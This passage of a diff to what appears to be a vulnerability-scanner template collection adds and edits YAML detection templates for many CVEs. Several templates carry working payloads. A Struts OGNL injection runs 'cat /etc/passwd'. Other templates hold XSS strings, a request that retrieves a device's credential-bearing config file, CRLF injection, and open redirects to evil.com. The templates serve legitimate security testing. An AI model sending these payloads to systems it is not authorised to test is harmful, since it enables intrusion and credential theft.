,{"name":"token","count":76},{"name":"ssrf","count":75},{"name":"takeover","count":74},{"name":"cve2017","count":71},{"name":"auth-bypass","count":69},{"name":"cms","count":67},{"name":"file","count":66},{"name":"oracle","count":63},{"name":"install","count":63},{"name":"intrusive","count":60},{"name":"seclists","count":58},{"name":"disclosure","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"logs","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":41},{"name":"debug","count":40},{"name":"vmware","count":39},{"name":"vulhub","count":38},{"name":"atlassian","count":38},{"name":"tenable","count":36},{"name":"traversal","count":35},{"name":"springboot","count":35},{"name":"injection","count":34},{"name":"huntr","count":32},{"name":"generic","count":32},{"name":"jira","count":32},{"name":"kubernetes","count":31},{"name":"listing","count":31},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"sap","count":25},{"name":"misc","count":25},{"name":"aws","count":25},{"name":"microsoft","count":25},{"name":"cnvd","count":25},{"name":"proxy","count":23},{"name":"jndi","count":23},{"name":"manageengine","count":22},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"zoho","count":22},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"api","count":21},{"name":"cicd","count":20},{"name":"deserialization","count":20},{"name":"k8s","count":20},{"name":"weblogic","count":20},{"name":"cloud","count":20},{"name":"camera","count":19},{"name":"tomcat","count":19},{"name":"ibm","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"jenkins","count":17},{"name":"struts","count":17},{"name":"wavlink","count":17},{"name":"ftp","count":17},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"printer","count":16},{"name":"msf","count":16},{"name":"fortinet","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"nginx","count":15},{"name":"amazon","count":15},{"name":"xxe","count":15},{"name":"status","count":14},{"name":"lfr","count":14},{"name":"android","count":14},{"name":"hp","count":14},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"cve2008","count":13},{"name":"confluence","count":13},{"name":"magento","count":13},{"name":"woocommerce","count":13},{"name":"rails","count":12},{"name":"vpn","count":12},{"name":"netgear","count":12},{"name":"github","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"fortigate","count":12},{"name":"zyxel","count":12},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"graphql","count":12},{"name":"backup","count":12},{"name":"airflow","count":11},{"name":"webserver","count":11},{"name":"cnvd2021","count":11},{"name":"azure","count":11},{"name":"mail","count":11},{"name":"ssl","count":11},{"name":"backdoor","count":11},{"name":"cisa","count":11},{"name":"admin","count":10},{"name":"spring","count":10},{"name":"glpi","count":10},{"name":"jolokia","count":10},{"name":"ruby","count":10},{"name":"django","count":10},{"name":"dell","count":10},{"name":"laravel","count":10},{"name":"git","count":10},{"name":"coldfusion","count":10},{"name":"grafana","count":10},{"name":"sonicwall","count":9},{"name":"zimbra","count":9},{"name":"windows","count":9},{"name":"wso2","count":9},{"name":"fastjson","count":9},{"name":"zabbix","count":9},{"name":"scada","count":9},{"name":"npm","count":9},{"name":"ssti","count":9},{"name":"phpmyadmin","count":Line truncated

TOP-10.md

@@ -1,12 +1,12 @@
-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1504 | dhiyaneshdk   |   677 | cves             |  1482 | info     |  1579 | http    |  4129 |
-| panel     |   721 | daffainfo     |   656 | exposed-panels   |   727 | high     |  1118 | file    |    77 |
-| edb       |   574 | pikpikcu      |   338 | vulnerabilities  |   518 | medium   |   810 | network |    63 |
-| xss       |   525 | pdteam        |   273 | misconfiguration |   305 | critical |   532 | dns     |    17 |
-| lfi       |   517 | geeknik       |   196 | technologies     |   299 | low      |   242 |         |       |
-| exposure  |   487 | dwisiswant0   |   171 | exposures        |   299 | unknown  |    20 |         |       |
-| wordpress |   453 | 0x_akoko      |   167 | token-spray      |   235 |          |       |         |       |
-| cve2021   |   363 | pussycat0x    |   151 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   348 | princechaddha |   151 | default-logins   |   110 |          |       |         |       |
-| rce       |   342 | ritikchaddha  |   149 | file             |    77 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1575 | dhiyaneshdk  |   708 | cves             |  1552 | info     |  1919 | http    |  4631 |
+| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1170 | network |    84 |
+| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
+| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
+| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   372 | low      |   294 |         |       |
+| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
+| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
+| xss       |   549 | dwisiswant0  |   171 | workflows        |   190 |          |       |         |       |
+| lfi       |   522 | 0x_akoko     |   171 | default-logins   |   122 |          |       |         |       |
+| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |

contributors.json

@@ -1368,5 +1368,16 @@
             "website": "",
             "email": ""
         }
+    },
+    {
+        "author": "heywoodlh",
+        "links": {
+            "github": "https://www.github.com/heywoodlh",
+            "twitter": "",
+            "linkedin": "",
+            "website": "https://the-empire.systems",
+            "email": ""
+        }
     }
+
 ]

cves/2008/CVE-2008-6465.yaml

@@ -0,0 +1,47 @@
+id: CVE-2008-6465
+
+info:
+  name: Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting
+  author: edoardottt
+  severity: medium
+  description: |
+    Parallels H-Sphere 3.0.0 P9 and 3.1 P1 contains multiple cross-site scripting vulnerabilities in login.php in webshell4. An attacker can inject arbitrary web script or HTML via the err, errorcode, and login parameters, thus allowing theft of cookie-based authentication credentials and launch of other attacks.
+  reference:
+    - http://www.xssing.com/index.php?x=3&y=65
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45254
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45252
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-6465
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2008-6465
+    cwe-id: CWE-80
+  metadata:
+    verified: true
+    shodan-query: title:"Parallels H-Sphere
+  tags: cve,cve2008,xss,parallels,h-sphere
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/webshell4/login.php?errcode=0&login=\%22%20onfocus=alert(document.domain);%20autofocus%20\%22&err=U'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '\" onfocus=alert(document.domain); autofocus'
+          - 'Please enter login name & password'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - 'text/html'
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2022/12/08

cves/2008/CVE-2008-6982.yaml

@@ -13,10 +13,11 @@ info:
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
     cvss-score: 7.2
+    cve-id: CVE-2008-6982
     cwe-id: CWE-79
   metadata:
     verified: "true"
-  tags: devalcms,xss,cms,edb
+  tags: cve,cve2008,devalcms,xss,cms,edb
 
 requests:
   - method: GET

cves/2010/CVE-2010-1429.yaml

@@ -0,0 +1,37 @@
+id: CVE-2010-1429
+
+info:
+  name: JBossEAP - Sensitive Information Disclosure
+  author: R12W4N
+  severity: low
+  description: |
+    Red Hat JBoss Enterprise Application Platform (aka JBoss EAP or JBEAP) 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 allows remote attackers to obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2010-1429
+    - https://nvd.nist.gov/vuln/detail/CVE-2008-3273
+    - https://rhn.redhat.com/errata/RHSA-2010-0377.html
+    - http://securitytracker.com/id?1023918
+  classification:
+    cve-id: CVE-2010-1429
+  metadata:
+    shodan-query: title:"JBoss"
+    verified: "true"
+  tags: cve,cve2010,jboss,eap,tomcat,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/status?full=true"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "JVM"
+          - "memory"
+          - "localhost/"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2012/CVE-2012-0394.yaml

@@ -0,0 +1,39 @@
+id: CVE-2012-0394
+
+info:
+  name: Apache Struts Dev Mode OGNL Injection
+  author: tess
+  severity: critical
+  description: |
+    The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
+  reference:
+    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
+    - https://www.exploit-db.com/exploits/31434
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
+    - http://www.exploit-db.com/exploits/18329
+  classification:
+    cve-id: CVE-2012-0394
+  metadata:
+    shodan-query: html:"Struts Problem Report"
+    verified: "true"
+  tags: ognl,injection,edb,cve,cve2012,apache,struts
+
+variables:
+  first: "{{rand_int(1000, 9999)}}"
+  second: "{{rand_int(1000, 9999)}}"
+  result: "{{to_number(first)*to_number(second)}}"
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{{result}}'
+
+      - type: status
+        status:
+          - 200

cves/2016/CVE-2016-10033.yaml

@@ -1,7 +1,7 @@
 id: CVE-2016-10033
 
 info:
-  name: WordPress PHPMailer < 5.2.18 Remote Code Execution
+  name: WordPress PHPMailer < 5.2.18 - Remote Code Execution
   author: princechaddha
   severity: critical
   description: WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a " (backslash double quote) in a crafted Sender property in isMail transport.

cves/2016/CVE-2016-6601.yaml

@@ -1,10 +1,10 @@
 id: CVE-2016-6601
 
 info:
-  name: ZOHO WebNMS Framework 5.2 and 5.2 SP1 - Directory Traversal
+  name: ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion
   author: 0x_Akoko
   severity: high
-  description: Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile
+  description: ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.
   reference:
     - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
     - https://www.exploit-db.com/exploits/40229/
@@ -30,3 +30,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2023/01/15

cves/2017/CVE-2017-1000163.yaml

@@ -0,0 +1,28 @@
+id: CVE-2017-1000163
+info:
+  name: The Phoenix Framework versions 1.0.0 - Open redirect
+  author: 0x_Akoko
+  severity: medium
+  description: The Phoenix Framework versions 1.0.0 through 1.0.4, 1.1.0 through 1.1.6, 1.2.0, 1.2.2 and 1.3.0-rc.0 are vulnerable to unvalidated URL redirection, which may result in phishing or social engineering attacks.
+  reference:
+    - https://elixirforum.com/t/security-releases-for-phoenix/4143
+    - https://www.cvedetails.com/cve/CVE-2017-1000163
+    - https://vuldb.com/?id.109587
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2017-1000163
+    cwe-id: CWE-601
+  tags: cve,cve2017,redirect,phoenix
+
+requests:
+  - method: GET
+
+    path:
+      - '{{BaseURL}}/?redirect=/\interact.sh'
+
+    matchers:
+      - type: regex
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
+        part: header

cves/2017/CVE-2017-10075.yaml

@@ -15,7 +15,7 @@ info:
     cvss-score: 8.2
     cve-id: CVE-2017-10075
   metadata:
-    google-dork: inurl:"/cs/idcplg"
+    google-query: inurl:"/cs/idcplg"
     verified: "true"
   tags: cve,cve2017,xss,oracle
 

cves/2017/CVE-2017-11165.yaml

@@ -0,0 +1,45 @@
+id: CVE-2017-11165
+
+info:
+  name: DataTaker DT80 dEX 1.50.012 - Sensitive Configurations Exposure
+  author: theabhinavgaur
+  severity: critical
+  description: |
+    dataTaker DT80 dEX 1.50.012 allows remote attackers to obtain sensitive credential and configuration information via a direct request for the /services/getFile.cmd?userfile=config.xml URI.
+  reference:
+    - https://www.exploit-db.com/exploits/45094
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-11165
+    - https://packetstormsecurity.com/files/143328/DataTaker-DT80-dEX-1.50.012-Sensitive-Configuration-Exposure.html
+    - https://www.exploit-db.com/exploits/42313/
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2017-11165
+    cwe-id: CWE-200
+  metadata:
+    shodan-query: http.title:"datataker"
+    verified: "true"
+  tags: lfr,edb,cve,cve2017,datataker,config,packetstorm,exposure
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/services/getFile.cmd?userfile=config.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "COMMAND_SERVER"
+          - "<loggerSettings>"
+          - "config id=\"config"
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - "text/xml"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-14186.yaml

@@ -0,0 +1,44 @@
+id: CVE-2017-14186
+
+info:
+  name: FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting
+  author: johnk3r
+  severity: medium
+  description: |
+    FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks such as a URL redirect. Affected versions are 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, and 5.4 and below.
+  reference:
+    - https://www.fortiguard.com/psirt/FG-IR-17-242
+    - https://fortiguard.com/advisory/FG-IR-17-242
+    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2017-14186
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: port:10443 http.favicon.hash:945408572
+    verified: "true"
+  tags: cve,cve2017,fortigate,xss,fortinet
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+
+# Enhanced by md on 2023/01/11

cves/2017/CVE-2017-14186.yml

@@ -1,38 +0,0 @@
-id: CVE-2017-14186
-
-info:
-  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
-  author: johnk3r
-  severity: medium
-  description: |
-    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
-  reference:
-    - https://www.fortiguard.com/psirt/FG-IR-17-242
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
-  classification:
-    cve-id: CVE-2017-14186
-  metadata:
-    verified: true
-    shodan-query: port:10443 http.favicon.hash:945408572
-  tags: cve,cve2017,fortigate,xss,fortinet
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200

cves/2017/CVE-2017-17736.yaml

@@ -40,4 +40,4 @@ requests:
           - "SQLServer"
         condition: and
 
-# Enhanced by cs on 2022/10/06
+# Enhanced by cs on 2022/10/24

cves/2017/CVE-2017-5638.yaml

@@ -4,32 +4,36 @@ info:
   name: Apache Struts 2 - Remote Command Execution
   author: Random_Robbie
   severity: critical
-  description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  description: |
+    Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
   reference:
     - https://github.com/mazen160/struts-pwn
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
     - https://isc.sans.edu/diary/22169
     - https://github.com/rapid7/metasploit-framework/issues/8064
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10
     cve-id: CVE-2017-5638
     cwe-id: CWE-20
-  tags: apache,kev,msf,cve,cve2017,struts,rce
+  metadata:
+    shodan-query: html:"Apache Struts"
+    verified: "true"
+  tags: cve,cve2017,apache,kev,msf,struts,rce
 
 requests:
   - raw:
       - |
         GET / HTTP/1.1
         Host: {{Hostname}}
-        Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
-        Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
-        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+        Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#[email protected]@DEFAULT_MEMBER_ACCESS,#cmd="cat /etc/passwd",#cmds={"/bin/bash","-c",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#[email protected]@getResponse().getWriter(),#rw.println(#e),#rw.flush())}
 
+    matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "X-Hacker: Bounty Plz"
-        part: header
+      - type: regex
+        regex:
+          - "root:.*:0:0:"
 
-# Enhanced by mp on 2022/04/26
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-7615.yaml

@@ -18,7 +18,7 @@ info:
     - http://www.openwall.com/lists/oss-security/2017/04/16/2
     - https://nvd.nist.gov/vuln/detail/CVE-2017-7615
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 8.8
     cve-id: CVE-2017-7615
     cwe-id: CWE-640

cves/2017/CVE-2017-8917.yaml

@@ -9,7 +9,7 @@ info:
   reference:
     - https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
     - https://nvd.nist.gov/vuln/detail/CVE-2017-8917
-    - http://www.securitytracker.com/id/1038522
+    - https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8

cves/2018/CVE-2018-1000861.yaml

@@ -15,7 +15,7 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2018-1000861
     cwe-id: CWE-502
-  tags: kev,vulhub,cve,cve2018,jenkin,rce,jenkins
+  tags: kev,vulhub,cve,cve2018,rce,jenkins
 
 requests:
   - method: GET

cves/2018/CVE-2018-11227.yaml

@@ -0,0 +1,49 @@
+id: CVE-2018-11227
+
+info:
+  name: Monstra CMS V3.0.4 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Monstra CMS 3.0.4 and earlier has XSS via index.php.
+  reference:
+    - https://github.com/monstra-cms/monstra/issues/438
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11227
+    - https://www.exploit-db.com/exploits/44646
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-11227
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.favicon.hash:419828698
+    verified: "true"
+  tags: cve,cve2018,xss,mostra,mostracms,cms,edb
+
+requests:
+  - raw:
+      - |
+        POST /admin/index.php?id=pages HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "><svg/onload=alert(document.domain)>"
+          - "Monstra"
+        condition: and
+        case-insensitive: true
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-11473.yaml

@@ -0,0 +1,63 @@
+id: CVE-2018-11473
+
+info:
+  name: Monstra CMS V3.0.4 - Cross-Site Scripting
+  author: ritikchaddha
+  severity: medium
+  description: |
+    Monstra CMS 3.0.4 has XSS in the registration Form (i.e., the login parameter to users/registration).
+  reference:
+    - https://github.com/monstra-cms/monstra/issues/446
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11473
+    - https://github.com/nikhil1232/Monstra-CMS-3.0.4-XSS-ON-Registration-Page
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-11473
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: http.favicon.hash:419828698
+    verified: "true"
+  tags: cve,cve2018,xss,mostra,mostracms,cms
+
+requests:
+  - raw:
+      - |
+        GET /users/registration HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /users/registration HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "><script>alert(document.domain)</script>"
+          - "Monstra"
+        condition: and
+        case-insensitive: true
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: csrf
+        part: body
+        group: 1
+        regex:
+          - 'id="csrf" name="csrf" value="(.*)">'
+        internal: true

cves/2018/CVE-2018-14912.yaml

@@ -1,7 +1,7 @@
 id: CVE-2018-14912
 
 info:
-  name: cgit < 1.2.1 Directory Traversal
+  name: cgit < 1.2.1 - Directory Traversal
   author: 0x_Akoko
   severity: high
   description: cGit < 1.2.1 via cgit_clone_objects has a directory traversal vulnerability when `enable-http-clone=1` is not turned off, as demonstrated by a cgit/cgit.cgi/git/objects/?path=../ request.

cves/2018/CVE-2018-16979.yaml

@@ -0,0 +1,37 @@
+id: CVE-2018-16979
+
+info:
+  name: Monstra CMS V3.0.4 - HTTP Header Injection
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    Monstra CMS V3.0.4 allows HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter.
+  reference:
+    - https://github.com/howchen/howchen/issues/4
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2018-16979
+    cwe-id: CWE-113
+  metadata:
+    verified: "true"
+  tags: cve,cve2018,crlf,mostra,mostracms,cms
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'new line detected in'
+          - 'cryptographp.php'
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-17246.yaml

@@ -7,9 +7,9 @@ info:
   description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
   reference:
     - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
     - https://www.elastic.co/community/security
     - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
@@ -41,3 +41,5 @@ requests:
         part: header
         words:
           - "application/json"
+
+# Enhanced by mp on 2023/01/15

cves/2018/CVE-2018-17422.yaml

@@ -1,7 +1,7 @@
 id: CVE-2018-17422
 
 info:
-  name: dotCMS <5.0.2 - Open Redirect
+  name: DotCMS < 5.0.2 - Open Redirect
   author: 0x_Akoko,daffainfo
   severity: medium
   description: |
@@ -16,27 +16,22 @@ info:
     cve-id: CVE-2018-17422
     cwe-id: CWE-601
   metadata:
+    verified: true
     shodan-query: http.title:"dotCMS"
-    verified: "true"
   tags: cve,cve2018,redirect,dotcms
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://www.interact.sh'
-      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=interact.sh'
+      - '{{BaseURL}}/html/common/forward_js.jsp?FORWARD_URL=http://evil.com'
+      - '{{BaseURL}}/html/portlet/ext/common/page_preview_popup.jsp?hostname=evil.com'
 
     stop-at-first-match: true
-    matchers-condition: and
     matchers:
-
       - type: word
         part: body
         words:
-          - "self.location = 'http://www.interact.sh'"
-
-      - type: status
-        status:
-          - 200
+          - "self.location = 'http://evil.com'"
+          - "location.href = 'http\\x3a\\x2f\\x2fwww\\x2eevil\\x2ecom'"
 
 # Enhanced by md on 2022/10/13

cves/2018/CVE-2018-17431.yaml

@@ -11,7 +11,7 @@ info:
     - https://nvd.nist.gov/vuln/detail/CVE-2018-17431
     - https://github.com/Fadavvi/CVE-2018-17431-PoC#confirmation-than-bug-exist-2018-09-25-ticket-id-xwr-503-79437
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2018-17431
     cwe-id: CWE-287

cves/2018/CVE-2018-19365.yaml

@@ -3,15 +3,15 @@ id: CVE-2018-19365
 info:
   name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal
   author: 0x_Akoko
-  severity: high
+  severity: critical
   description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API.
   reference:
     - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html
     - https://www.cvedetails.com/cve/CVE-2018-19365
     - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt
   classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
+    cvss-score: 9.1
     cve-id: CVE-2018-19365
     cwe-id: CWE-22
   tags: cve,cve2018,wowza,lfi

cves/2018/CVE-2018-20526.yaml

@@ -78,4 +78,4 @@ requests:
         status:
           - 200
 
-# Enhanced by mp on 2022/10/06
+# Enhanced by mp on 2022/10/07

cves/2018/CVE-2018-7700.yaml

@@ -19,7 +19,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}phpinfo();{/dede:field}"
